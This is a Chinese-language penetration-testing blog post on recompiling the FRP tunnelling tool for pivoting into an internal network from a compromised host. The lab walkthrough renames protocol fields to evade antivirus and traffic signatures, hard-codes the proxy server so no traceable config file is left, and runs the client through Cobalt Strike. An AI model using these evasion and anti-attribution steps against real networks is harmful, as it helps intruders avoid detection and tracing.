前言
在拿下一台机器作为入口时,内网代理就变得尤为重要。他是我们进行横向渗透一个中间人,没了代理在内网中就寸步难行。而内网穿透的工具有很多,比如frp,reGeorg等等非常优秀的代理工具。使用方法不在赘述,这篇文章主要记录下在FRP内网代理时的流量改造。FRP作为一个开源的项目,它的特征早已被各大厂商掌握了,不进行流量上的改变我们就无法成功的建立连接,如果直接使用github编译后的EXE直接会被360等杀软直接判定为黑客行为,流量改造也是为了能够达到一定程度上的免杀效果。
改造前的流量
在frp默认配置文件 frpc.ini中不开启 tls_enable = true 时,客户端在连接服务端时会把版本信息传给服务端进行认证。下面是在连接时wires hark抓包的流量
可以看见非常明显的frp流量特征
"version","host name","user","arch","privilege_key","times tamp","run id","metas","pool_count"
这时候我们需要修改frp源码中的特征,并且使用Go环境重新编译
源码地址:
https://github.com/fatedier/frp
特征认证信息处:
pkg\msg\msg.go
可以将所有的变量加一个任意的前缀,比如Apple
而在pkg\util\version\version.go 中定义了版本信息,这里也可以修改一下
修改为3.14.15
客户端连接
如果按照正常的客户端连接方式,我们需要一个frpc.ini配置文件,这里会暴露我们的代理服务器,如果被溯源问题就大了。
[common]
server_addr = xxx.xxx.xxx.xxx
server_port = 4444
privilege_token = pentest
tls_enable = true
[ssh]
type = tcp
remote_port = 23333
plugin = socks5
所以我们在源码中添加一段自定义的代码,使其用接收参数的方式进行指定ip和端口。
在cmd\frpc\sub\root.go文件中添加如下函数(具体配置需要自己更改)
func getFileContent(ip string,port string) {
var content string = `[common]
server_addr = ` + ip + `
server_port = ` + port + `
tls_enable = true
[ssh]
type = tcp
remote_port = 6000
plugin = socks5
`
fileContent = content
}
同时别忘了对变量进行定义
在 init函数中加两行代码,对ip和端口进行接收。
rootCmd.PersistentFlags().StringVarP(&ip, "server_addr", "t", "", "server_addr")
rootCmd.PersistentFlags().StringVarP(&port, "server_port", "p", "", "server_port")
最后需要在 runClient()函数下调用我们自定义的函数getFileContent()
注意一下参数的接收和代码的注释。
Go环境搭建编译frp
这里大佬搞得一键搭建QAQ,不过注意要在 /root/ 目录下运行该脚本
go_tar_gz="go1.15.5.linux-amd64.tar.gz"
go_url="https://dl.google.com/go/${go_tar_gz}"
wget --no-check-certificate -O ${go_tar_gz} ${go_url}
tar -xvf ${go_tar_gz}
rm ${go_tar_gz}
# go语言 添加环境变量
cat <> ~/.profile
export GOROOT=/root/go
export GOPATH=/root/go/work
export PATH=$PATH:/root/go/bin
EOF
source ~/.profile
mkdir -p /root/go/work
# 测试go语言安装
mkdir -p ~/helloworld
cd ~/helloworld
cat < helloworld.go
// Test that we can do page 1 of the C book.
package main
func main() {
print("hello, world\n")
}
EOF
go build
./helloworld
我这里使用的kali安装的Go环境,使用go version检测是否成功
如果不成功可能是环境变量文件没有刷新,刷新一下就好了
source ~/.profile
编译
之后把修改过后的frp源码拖到 go/work/ 目录下,修改 Makefile.cross-compiles 文件,添加
export GOPROXY=https://goproxy.cn
之所以添加export GOPROXY=https://goproxy.cn是因为在国内,go语言的这个包的网站是被禁止的,我们无法直接访问。
make -f Makefile.cross-compiles
编译出的各种版本如下
测试
环境
内网网段:
win7 192.168.111.2
kali 192.168.111.3 (有Web服务,仅内网访问)
模拟公网网段:
win7 192.168.10.19(桥接)
实验的时候需要把物理机中自定义的内网网段的网卡禁用掉。
将编译后的frps_linux_386上传到公网VPS中,创建frps.ini文件,写入
[common] bind_port = 9998 #自定义与客户端要连接的端口
随后载入该配置文件启动
./frps_linux_386 -c frps.ini
服务端已经成功启动,我们在靶机win7上传我们编译过后的frpc_windows_386.exe.
然后通过cmd命令行指定ip和端口进行连接。当然,上传之后直接在cs中执行shell命令也可。
在本地通过SocksCap64,Proxifier代理工具连接。
连接成功,如果不使用代理服务器进行访问。
使用SocksCap64代理后进行访问
成功访问了内网kali的Web服务,ssh服务也可以连上。
关闭进程
shell taskkill /f /t /im frpc_windows_386.exe
遗留问题
虽然其他服务都能够正常的访问,但是却Ping不通,不知道是自己环境的问题还是ICMP协议通过代理后会有什么变化的问题。
临时解决:
虽然无法ping,但是可以直接通过CS拿下的机器进行信息收集等工作,感觉代理后Ping的通内网并不是刚需。